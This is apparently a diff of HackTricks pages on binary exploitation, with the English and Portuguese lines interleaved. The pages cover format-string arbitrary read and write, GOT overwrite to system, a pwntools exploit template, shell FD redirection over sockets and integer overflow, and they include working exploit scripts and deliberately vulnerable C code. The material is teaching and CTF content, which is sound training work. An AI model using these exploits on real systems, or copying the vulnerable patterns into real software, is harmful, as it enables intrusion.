# Common Exploiting Problems
# Problemas Comuns de Exploração
{{#include ../banners/hacktricks-training.md}}
## FDs in Remote Exploitation
## FDs na Exploração Remota
When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell.
Ao enviar um exploit para um servidor remoto que chama **`system('/bin/sh')`**, por exemplo, isso será executado no processo do servidor, e `/bin/sh` esperará entrada do stdin (FD: `0`) e imprimirá a saída no stdout e stderr (FDs `1` e `2`). Assim, o atacante não poderá interagir com o shell.
A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed.
[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
Uma maneira de corrigir isso é supor que, quando o servidor foi iniciado, ele criou o **FD número `3`** (para escuta) e que, em seguida, sua conexão estará no **FD número `4`**. Portanto, é possível usar a syscall **`dup2`** para duplicar o stdin (FD 0) e o stdout (FD 1) no FD 4 (o da conexão do atacante), tornando viável contatar o shell uma vez que ele seja executado.
[**Exemplo de exploit daqui**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
from pwn import *
@ -26,13 +25,12 @@ p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```
## Socat & pty
Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit.
Note que o socat já transfere **`stdin`** e **`stdout`** para o socket. No entanto, o modo `pty` **inclui caracteres DELETE**. Portanto, se você enviar um `\x7f` ( `DELETE` -) ele **deletará o caractere anterior** do seu exploit.
In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.**
Para contornar isso, o **caractere de escape `\x16` deve ser precedido a qualquer `\x7f` enviado.**
**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
**Aqui você pode** [**encontrar um exemplo desse comportamento**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,22 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
## Basic Information
In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text.
Em C **`printf`** é uma função que pode ser usada para **imprimir** alguma string. O **primeiro parâmetro** que esta função espera é o **texto bruto com os formatadores**. Os **parâmetros seguintes** esperados são os **valores** para **substituir** os **formatadores** do texto bruto.
Other vulnerable functions are **`sprintf()`** and **`fprintf()`**.
Outras funções vulneráveis são **`sprintf()`** e **`fprintf()`**.
The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**.
A vulnerabilidade aparece quando um **texto de atacante é usado como o primeiro argumento** para esta função. O atacante será capaz de criar uma **entrada especial abusando** das capacidades da **string de formato printf** para ler e **escrever qualquer dado em qualquer endereço (legível/escrevível)**. Sendo capaz assim de **executar código arbitrário**.
#### Formatters:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -28,72 +21,58 @@ The vulnerability appears when an **attacker text is used as the first argument*
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**Exemplos:**
**Examples:**
- Vulnerable example:
- Exemplo vulnerável:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- Normal Use:
- Uso Normal:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- With Missing Arguments:
- Com Argumentos Faltando:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
- fprintf vulnerable:
- fprintf vulnerável:
```c
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
```
### **Acessando Ponteiros**
### **Accessing Pointers**
The format **`%<n>$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do:
O formato **`%<n>$x`**, onde `n` é um número, permite indicar ao printf para selecionar o n-ésimo parâmetro (da pilha). Então, se você quiser ler o 4º parâmetro da pilha usando printf, você poderia fazer:
```c
printf("%x %x %x %x")
```
e você leria do primeiro ao quarto parâmetro.
and you would read from the first to the forth param.
Or you could do:
Ou você poderia fazer:
```c
printf("%4$x")
```
e leia diretamente o quarto.
and read directly the forth.
Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
Observe que o atacante controla o parâmetro `printf`, **o que basicamente significa que** sua entrada estará na pilha quando `printf` for chamado, o que significa que ele poderia escrever endereços de memória específicos na pilha.
> [!CAUTION]
> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour.
> Um atacante controlando essa entrada, será capaz de **adicionar endereços arbitrários na pilha e fazer com que `printf` os acesse**. Na próxima seção, será explicado como usar esse comportamento.
## **Arbitrary Read**
It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:
## **Leitura Arbitrária**
É possível usar o formatador **`%n$s`** para fazer com que **`printf`** obtenha o **endereço** situado na **n posição**, seguindo-o e **imprimí-lo como se fosse uma string** (imprimir até que um 0x00 seja encontrado). Então, se o endereço base do binário for **`0x8048000`**, e sabemos que a entrada do usuário começa na 4ª posição na pilha, é possível imprimir o início do binário com:
```python
from pwn import *
@ -106,18 +85,16 @@ payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address.
> Note que você não pode colocar o endereço 0x8048000 no início da entrada porque a string será cortada em 0x00 no final desse endereço.
### Find offset
### Encontrar offset
To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`.
Para encontrar o offset da sua entrada, você pode enviar 4 ou 8 bytes (`0x41414141`) seguidos de **`%1$x`** e **aumentar** o valor até recuperar os `A's`.
<details>
<summary>Brute Force printf offset</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -125,88 +102,82 @@ from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
# Close the process
p.close()
```
</details>
### How useful
### Quão útil
Arbitrary reads can be useful to:
Leituras arbitrárias podem ser úteis para:
- **Dump** the **binary** from memory
- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
- **Despejar** o **binário** da memória
- **Acessar partes específicas da memória onde informações sensíveis** **são** armazenadas (como canários, chaves de criptografia ou senhas personalizadas, como neste [**desafio CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitrary Write**
## **Escrita Arbitrária**
The formatter **`%<num>$n`** **writes** the **number of written bytes** in the **indicated address** in the \<num> param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%<num>$n`** write an arbitrary number in an arbitrary address.
Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.<num-write>%<num>$n`** to write the number **`<num-write>`** in the **address pointed by the `num` position**.
O formatador **`%<num>$n`** **escreve** o **número de bytes escritos** no **endereço indicado** no parâmetro \<num> na pilha. Se um atacante puder escrever quantos caracteres quiser com printf, ele será capaz de fazer **`%<num>$n`** escrever um número arbitrário em um endereço arbitrário.
Felizmente, para escrever o número 9999, não é necessário adicionar 9999 "A"s à entrada; para isso, é possível usar o formatador **`%.<num-write>%<num>$n`** para escrever o número **`<num-write>`** no **endereço apontado pela posição `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
No entanto, note que geralmente, para escrever um endereço como `0x08049724` (que é um NÚMERO ENORME para escrever de uma vez), **usa-se `$hn`** em vez de `$n`. Isso permite **escrever apenas 2 Bytes**. Portanto, essa operação é realizada duas vezes, uma para os 2B mais altos do endereço e outra vez para os mais baixos.
However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones.
Portanto, essa vulnerabilidade permite **escrever qualquer coisa em qualquer endereço (escrita arbitrária).**
Therefore, this vulnerability allows to **write anything in any address (arbitrary write).**
In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:
Neste exemplo, o objetivo será **sobrescrever** o **endereço** de uma **função** na tabela **GOT** que será chamada mais tarde. Embora isso possa abusar de outras técnicas de escrita arbitrária para exec:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\
As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used.
Vamos **sobrescrever** uma **função** que **recebe** seus **argumentos** do **usuário** e **apontá-la** para a **função** **`system`**.\
Como mencionado, para escrever o endereço, geralmente são necessários 2 passos: Você **primeiro escreve 2Bytes** do endereço e depois os outros 2. Para isso, **`$hn`** é usado.
- **HOB** is called to the 2 higher bytes of the address
- **LOB** is called to the 2 lower bytes of the address
- **HOB** é chamado para os 2 bytes mais altos do endereço
- **LOB** é chamado para os 2 bytes mais baixos do endereço
Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one.
Então, por causa de como a string de formato funciona, você precisa **escrever primeiro o menor** de \[HOB, LOB] e depois o outro.
If HOB < LOB\
Se HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
If HOB > LOB\
Se HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
### Modelo Pwntools
### Pwntools Template
You can find a **template** to prepare a exploit for this kind of vulnerability in:
Você pode encontrar um **modelo** para preparar um exploit para esse tipo de vulnerabilidade em:
{{#ref}}
format-strings-template.md
{{#endref}}
Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
Ou este exemplo básico de [**aqui**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python
from pwn import *
@ -225,27 +196,20 @@ p.sendline('/bin/sh')
p.interactive()
```
## Strings de Formato para BOF
## Format Strings to BOF
É possível abusar das ações de escrita de uma vulnerabilidade de string de formato para **escrever em endereços da pilha** e explorar um tipo de vulnerabilidade de **buffer overflow**.
It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability.
## Other Examples & References
## Outros Exemplos & Referências
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
- 32 bits, sem relro, sem canário, nx, sem pie, uso básico de strings de formato para vazar a flag da pilha (sem necessidade de alterar o fluxo de execução)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
- 32 bits, relro, sem canário, nx, sem pie, string de formato para sobrescrever o endereço `fflush` com a função win (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
- 32 bits, relro, sem canário, nx, sem pie, string de formato para escrever um endereço dentro de main em `.fini_array` (para que o fluxo retorne mais uma vez) e escrever o endereço para `system` na tabela GOT apontando para `strlen`. Quando o fluxo voltar para main, `strlen` é executado com a entrada do usuário e apontando para `system`, ele executará os comandos passados.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,32 +1,27 @@
# Format Strings - Arbitrary Read Example
# Format Strings - Exemplo de Leitura Arbitrária
{{#include ../../banners/hacktricks-training.md}}
## Read Binary Start
### Code
## Início da Leitura Binária
### Código
```c
#include <stdio.h>
int main(void) {
char buffer[30];
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
printf(buffer);
return 0;
}
```
Compile it with:
Compile-o com:
```python
clang -o fs-read fs-read.c -Wno-format-security -no-pie
```
### Exploit
```python
from pwn import *
@ -38,16 +33,14 @@ payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
```
- The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address.
- I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141
- The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before
- The address selected is 0x00400000 because it's where the binary starts (no PIE)
- O **offset é 11** porque definir vários As e **brute-forcing** com um loop de offsets de 0 a 50 descobriu que no offset 11 e com 5 caracteres extras (pipes `|` no nosso caso), é possível controlar um endereço completo.
- Eu usei **`%11$p`** com preenchimento até que o endereço fosse todo 0x4141414141414141
- O **payload da string de formato está ANTES do endereço** porque o **printf para de ler em um byte nulo**, então se enviarmos o endereço e depois a string de formato, o printf nunca alcançará a string de formato, pois um byte nulo será encontrado antes
- O endereço selecionado é 0x00400000 porque é onde o binário começa (sem PIE)
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
## Read passwords
## Ler senhas
```c
#include <stdio.h>
#include <string.h>
@ -55,111 +48,103 @@ log.info(p.clean())
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
return 0;
}
```
Compile it with:
Compile-o com:
```bash
clang -o fs-read fs-read.c -Wno-format-security
```
### Ler do stack
### Read from stack
The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack:
A **`stack_password`** será armazenada no stack porque é uma variável local, então apenas abusar do printf para mostrar o conteúdo do stack é suficiente. Este é um exploit para BF as primeiras 100 posições para vazar as senhas do stack:
```python
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
In the image it's possible to see that we can leak the password from the stack in the `10th` position:
Na imagem, é possível ver que podemos vazar a senha da pilha na `10ª` posição:
<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
### Read data
### Ler dados
Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference:
Executando o mesmo exploit, mas com `%p` em vez de `%s`, é possível vazar um endereço da heap da pilha em `%25$p`. Além disso, comparando o endereço vazado (`0xaaaab7030894`) com a posição da senha na memória nesse processo, podemos obter a diferença dos endereços:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability:
Agora é hora de descobrir como controlar 1 endereço na pilha para acessá-lo a partir da segunda vulnerabilidade de string de formato:
```python
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
```
And it's possible to see that in the **try 14** with the used passing we can control an address:
E é possível ver que no **try 14** com o passing utilizado podemos controlar um endereço:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
### Exploit
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
@ -178,7 +163,6 @@ output = p.clean()
print(output)
p.close()
```
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,7 +1,6 @@
# Format Strings Template
# Modelo de Strings de Formato
{{#include ../../banners/hacktricks-training.md}}
```python
from pwn import *
from time import sleep
@ -36,23 +35,23 @@ print(" ====================== ")
def connect_binary():
global P, ELF_LOADED, ROP_LOADED
global P, ELF_LOADED, ROP_LOADED
if LOCAL:
P = process(LOCAL_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
if LOCAL:
P = process(LOCAL_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1338) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1338) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(elf)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(elf)# Find ROP gadgets
#######################################
@ -60,39 +59,39 @@ def connect_binary():
#######################################
def send_payload(payload):
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
log.info("payload = %s" % repr(payload))
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
P.sendline(payload)
sleep(0.5)
return P.recv()
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
log.info("payload = %s" % repr(payload))
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
P.sendline(payload)
sleep(0.5)
return P.recv()
def get_formatstring_config():
global P
global P
for offset in range(1,1000):
connect_binary()
P.clean()
for offset in range(1,1000):
connect_binary()
P.clean()
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
if b"41" in recieved:
for padlen in range(0,4):
if b"41414141" in recieved:
connect_binary()
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
print(recieved)
if b"42424242" in recieved:
log.info(f"Found offset ({offset}) and padlen ({padlen})")
return offset, padlen
if b"41" in recieved:
for padlen in range(0,4):
if b"41414141" in recieved:
connect_binary()
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
print(recieved)
if b"42424242" in recieved:
log.info(f"Found offset ({offset}) and padlen ({padlen})")
return offset, padlen
else:
connect_binary()
payload = b" " + payload
recieved = send_payload(payload).strip()
else:
connect_binary()
payload = b" " + payload
recieved = send_payload(payload).strip()
# In order to exploit a format string you need to find a position where part of your payload
@ -125,10 +124,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}")
connect_binary()
if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
sleep(5)
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
sleep(5)
format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
@ -141,5 +140,4 @@ format_string.execute_writes()
P.interactive()
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,123 +1,115 @@
# Integer Overflow
# Overflow de Inteiro
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data.
No coração de um **overflow de inteiro** está a limitação imposta pelo **tamanho** dos tipos de dados na programação de computadores e a **interpretação** dos dados.
For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0.
Por exemplo, um **inteiro sem sinal de 8 bits** pode representar valores de **0 a 255**. Se você tentar armazenar o valor 256 em um inteiro sem sinal de 8 bits, ele retorna a 0 devido à limitação de sua capacidade de armazenamento. Da mesma forma, para um **inteiro sem sinal de 16 bits**, que pode conter valores de **0 a 65.535**, adicionar 1 a 65.535 fará com que o valor retorne a 0.
Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`).
Além disso, um **inteiro com sinal de 8 bits** pode representar valores de **-128 a 127**. Isso ocorre porque um bit é usado para representar o sinal (positivo ou negativo), deixando 7 bits para representar a magnitude. O número mais negativo é representado como **-128** (binário `10000000`), e o número mais positivo é **127** (binário `01111111`).
### Max values
### Valores Máximos
For potential **web vulnerabilities** it's very interesting to know the maximum supported values:
Para potenciais **vulnerabilidades na web**, é muito interessante conhecer os valores máximos suportados:
{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {
let mut quantity = 2147483647;
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}
{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}
## Examples
## Exemplos
### Pure overflow
The printed result will be 0 as we overflowed the char:
### Overflow puro
O resultado impresso será 0, pois ultrapassamos o char:
```c
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Conversão de Assinado para Não Assinado
### Signed to Unsigned Conversion
Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation:
Considere uma situação em que um inteiro assinado é lido a partir da entrada do usuário e, em seguida, usado em um contexto que o trata como um inteiro não assinado, sem a devida validação:
```c
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
return 0;
}
```
